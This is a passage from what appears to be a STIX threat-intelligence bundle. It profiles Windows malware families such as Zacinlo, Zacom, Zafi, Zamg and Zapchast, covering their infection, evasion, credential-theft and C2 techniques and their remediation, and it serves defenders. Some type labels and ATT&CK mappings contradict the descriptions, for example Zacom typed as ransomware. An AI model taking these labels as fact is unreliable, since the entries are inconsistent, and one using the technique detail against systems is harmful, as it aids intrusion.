endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.za0au42rofm",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Za0Au42Rofm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/za0au42rofm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74666c8a-f538-5595-bc72-512310ac6fed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bd4da01-2c11-5088-9980-b5a410997ab7",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Za0Au42Rofm exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cd1b5c3-c5a9-58cb-9a72-8428e408ca91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bd4da01-2c11-5088-9980-b5a410997ab7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Za0Au42Rofm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77a4b74e-e9df-50c0-83d7-e140e6c34a1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bd4da01-2c11-5088-9980-b5a410997ab7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Za0Au42Rofm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa145e42-88eb-5e97-83c7-a3864fff4321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bd4da01-2c11-5088-9980-b5a410997ab7",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Za0Au42Rofm exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a0096446-8b1d-5e12-a3ce-26fcc7832589",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zacinlo",
      "description": "<h3>Executive Summary</h3>\nZacinlo is a highly sophisticated Adware and Rootkit framework. Unlike standard adware that relies on simple browser extensions, Zacinlo utilizes advanced rootkit techniques to deeply embed itself into the Windows operating system. Its primary objective is to invisibly intercept web traffic, inject highly persistent advertisements, and perform \"click fraud\" while actively defending itself against removal by security software.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZacinlo is typically distributed via malicious installers masquerading as VPN software or legitimate utilities on third-party download sites. \n\nUpon execution, Zacinlo demonstrates capabilities typically reserved for advanced nation-state malware:\n<ul>\n<li><strong>Rootkit Capabilities (Driver Installation):</strong> Zacinlo's defining feature is the installation of a malicious kernel-mode driver (often signed with stolen or fake certificates). This driver allows the adware to operate at the deepest level of the OS (Ring 0), hiding its files, processes, and registry keys from standard user-mode antivirus scanners.</li>\n<li><strong>Man-in-the-Browser (MitB):</strong> The adware intercepts all HTTPS web traffic using a custom root certificate. It injects its own JavaScript into web pages to overlay ads, replace legitimate ads with its own, and simulate invisible clicks on advertisements to generate fraudulent revenue (click fraud).</li>\n<li><strong>Active Self-Defense:</strong> The rootkit actively monitors the system for common security tools (like Malwarebytes or Windows Defender). If it detects an attempt to terminate its processes or delete its files, the driver will actively block the action or immediately restore the deleted components.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nZacinlo is a severe threat. While its current motive is financial (ad fraud), the presence of a malicious, ring-0 rootkit on an endpoint means the system is fundamentally compromised. The same infrastructure could easily be repurposed to deploy destructive malware or exfiltrate sensitive data completely invisibly.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Avoid Standard Uninstallation:</strong> Standard Control Panel removal or basic antivirus scans will fail and often trigger the rootkit's self-defense mechanisms, potentially causing system instability (BSODs).</li>\n<li><strong>Specialized Anti-Rootkit Tools:</strong> Remediation requires booting into a dedicated recovery environment (like Windows PE) or using specialized, low-level anti-rootkit utilities (e.g., Kaspersky TDSSKiller or GMER) designed to bypass the driver's hooks and remove the malicious `.sys` files from the `System32\\drivers` directory.</li>\n<li><strong>System Re-imaging Recommended:</strong> Because Zacinlo operates at the kernel level and heavily modifies the OS, the most reliable and secure remediation is a complete bare-metal wipe and re-image of the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Zacinlo",
        "Rootkit.Zacinlo",
        "Win32/Zacinlo.Rootkit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zacinlo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zacinlo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84e2907a-bd9d-5519-b8c3-b1f9e3e8461f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0096446-8b1d-5e12-a3ce-26fcc7832589",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacinlo exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--856d2ff4-e4e1-5868-9751-cd223ac967e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0096446-8b1d-5e12-a3ce-26fcc7832589",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacinlo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4d335ad-8e27-50be-9ee0-4fc0a3350cca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0096446-8b1d-5e12-a3ce-26fcc7832589",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacinlo exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbb182f9-1ca5-56f6-b45f-4a5f2fb7bf87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0096446-8b1d-5e12-a3ce-26fcc7832589",
      "target_ref": "attack-pattern--d9da9d1b-9b7d-5344-98e0-bdf1d57f0025",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacinlo exhibits technique T1553.004 (Subvert Trust Controls: Install Root Certificate (Breaking TLS))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zacom",
      "description": "Trojan:Win32/Zacom is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zacom</b><br>To an end-user, a Zacom infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zacom is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zacom is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zacom frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zacom reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zacom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zacom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f6dbb8c-4b1a-52b8-b444-77e62d822e4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cadd3be-745d-5b67-9f8e-63bfffcc1db6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacom exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2664c49c-6d3d-5ba9-947d-90c5045b0596",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf18a05e-2655-5fc3-8e98-07da6eab1d3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92d685d0-2173-55e4-8d0d-dbb0beaa957f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6259fc1a-01c6-57ee-bf97-8f59e9c4c49a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zacom exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5e2dbbb-822c-549d-8693-498b529d1f9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zafi",
      "description": "Worm:Win32/Zafi is a classic, historically significant mass-mailing computer worm that caused widespread disruption in the mid-2000s. Zafi (particularly variants like Zafi.B and Zafi.D) was notorious for its aggressive social engineering tactics, sending localized spam emails in multiple languages (often masquerading as Christmas greeting cards or urgent legal notices) to rapidly infect global networks.<br><br><b>Understanding the Zafi Worm</b><br>To an end-user, a Zafi infection results in immediate system slowdowns, disabled security tools, and the computer silently sending out thousands of spam emails to everyone in their address book. For a network administrator, Zafi represents a massive disruption event capable of crashing internal email servers due to the sheer volume of generated traffic, and causing the organization's IP address to be blacklisted.<br><br><b>Execution and Spreading Mechanics</b><br>Zafi propagates primarily via email (`T1566.001`). When a user executes the malicious attachment (often a `.pif`, `.scr`, or `.zip` file disguised as an image), the worm drops itself into the Windows `System32` directory with a randomized name (`T1204.002`). It establishes persistence via the Registry Run keys (`T1547.001`). To ensure its survival, Zafi aggressively attempts to terminate processes associated with popular antivirus and firewall software (`T1562.001`). The worm then harvests email addresses from the local hard drive (checking `.WAB`, `.HTM`, `.TXT` files) (`T1114.001`). Finally, it utilizes its own internal SMTP engine to blast copies of itself to all harvested addresses, frequently spoofing the 'From' address to make the emails appear legitimate (`T1098.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe network congestion, IP blacklisting, and the potential destruction of local security tools. Host-based IoCs include EDR alerts for a standard user process making thousands of outbound connections on port 25 (SMTP). Users may report that they cannot open Task Manager or Registry Editor, as Zafi often disables them. Network IoCs are dominated by massive spikes in outbound SMTP traffic originating from workstations rather than the corporate mail server. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zafi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zafi"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62aea6fb-ee9b-507e-a857-0d95c47e2e42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5e2dbbb-822c-549d-8693-498b529d1f9b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zafi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--022a8af3-8071-5dcd-a076-189bd3b8b689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5e2dbbb-822c-549d-8693-498b529d1f9b",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zafi exhibits technique T1114.001 (Email Collection: Local Email Collection (Harvesting address books))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d73118c-0709-53c7-a111-92d2bef06ebc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5e2dbbb-822c-549d-8693-498b529d1f9b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zafi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90d290f5-99fe-51ce-9b43-485edcf972cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5e2dbbb-822c-549d-8693-498b529d1f9b",
      "target_ref": "attack-pattern--a70fccaf-e2f4-56fd-a2f9-449dcc7d0d08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zafi exhibits technique T1098.002 (Account Manipulation: Additional Email Delegate Permissions (Spoofing emails via internal SMTP))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zamg",
      "description": "Zamg (cataloged across security intelligence as Trojan:Win32/Zamg, Trojan.Mint.Zamg, and Trojan:Win32/Zamg.A!bit) is a covert Windows trojan loader and payload staging platform documented by Netskope Threat Research, Microsoft Defender, and Bitdefender. Distributed primarily through malicious spam campaigns bearing weaponized RTF documents and fake utility installers, Zamg deploys into local staging directories such as %LOCALAPPDATA%\\Temp or %ProgramData%. The malware incorporates sophisticated environmental evasion routines, interrogating system hypervisor flags, monitoring API hooks via IsDebuggerPresent, and comparing username/hostname strings against known sandbox environments. Once environment checks confirm a bare-metal victim machine, Zamg establishes persistent registry Run keys and initiates encrypted command-and-control beaconing to retrieve secondary malicious modules, including banking trojans and ransomware payloads. (Observed samples in benchmark: 527)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Zamg",
        "Trojan.Mint.Zamg",
        "Trojan:Win32/Zamg.A!bit",
        "Trojan.Zamg",
        "Win32/Zamg.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zamg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zamg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c53eb2f7-ccc5-5561-8d1e-044420a59f61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zamg exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--293ac1e7-897c-5508-8434-9302b7191fd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zamg exhibits technique T1556 (Modify Authentication Process)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--899c7a4c-fc55-599e-a9d1-9bc046dd1ac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zamg exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8c73128-9182-5844-bdbf-96f1a85912eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zamg exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3af84902-bfdb-5726-be93-5b7073fe361d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5fcb2ffd-954d-598f-9ad6-0908f36801f1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zamg exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6261b695-b201-5181-969e-f6638fb80f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zanoza",
      "description": "<h3>Executive Summary</h3>\nZanoza (Russian for \"splinter\") is a malicious Trojan designed to covertly infiltrate Windows systems, establish deep persistence, and act as a reliable backdoor and downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZanoza is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Microsoft Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zanoza operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence (The \"Splinter\"):</strong> Living up to its name, Zanoza is designed to be difficult to remove. It ensures it survives system reboots by modifying deep Windows Registry keys (e.g., adding entries to the `Run` key or injecting into legitimate `svchost.exe` startup routines) or by dropping a hidden shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zanoza receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials) or botnet agents.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zanoza infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Zanoza executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Zanoza often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zanoza",
        "Downloader.Zanoza",
        "Win32/Zanoza"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zanoza",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zanoza"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46788992-88aa-55a6-ae8b-d989d05326a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6261b695-b201-5181-969e-f6638fb80f5b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zanoza exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b071d92-f8e5-5ca7-90f0-5e84d7c1f1aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6261b695-b201-5181-969e-f6638fb80f5b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zanoza exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdf4c80b-7199-5b1c-b7a7-e183a64bb8c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6261b695-b201-5181-969e-f6638fb80f5b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zanoza exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--02c64c99-6998-56f4-a206-980a6819f887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zapchast",
      "description": "Zapchast (tracked across security intelligence catalogs under signatures including Trojan:Win32/Zapchast, Trojan-PSW.Win32.Zapchast, and PWS:Win32/Zapchast) is a covert Windows password-stealing trojan and infostealer active since 2016. Often distributed through trojanized software keygens, torrented utility archives, and phishing emails, Zapchast is engineered to harvest stored authentication credentials across victim endpoints. Upon execution, Zapchast inspects local storage, querying sqlite databases and DPAPI-protected vaults used by web browsers (Chrome, Firefox, Opera, Edge) to extract saved website logins, cookies, and autofill entries. Additionally, Zapchast targets credentials from FTP clients, email software, and cryptocurrency wallets. The extracted credentials and host hardware profiles are bundled into encrypted binary packets and exfiltrated over HTTP POST to threat actor drop servers. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Zapchast",
        "Trojan-PSW.Win32.Zapchast",
        "PWS:Win32/Zapchast",
        "Win32/Zapchast",
        "Trojan.Zapchast"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zapchast",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zapchast"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zapinit",
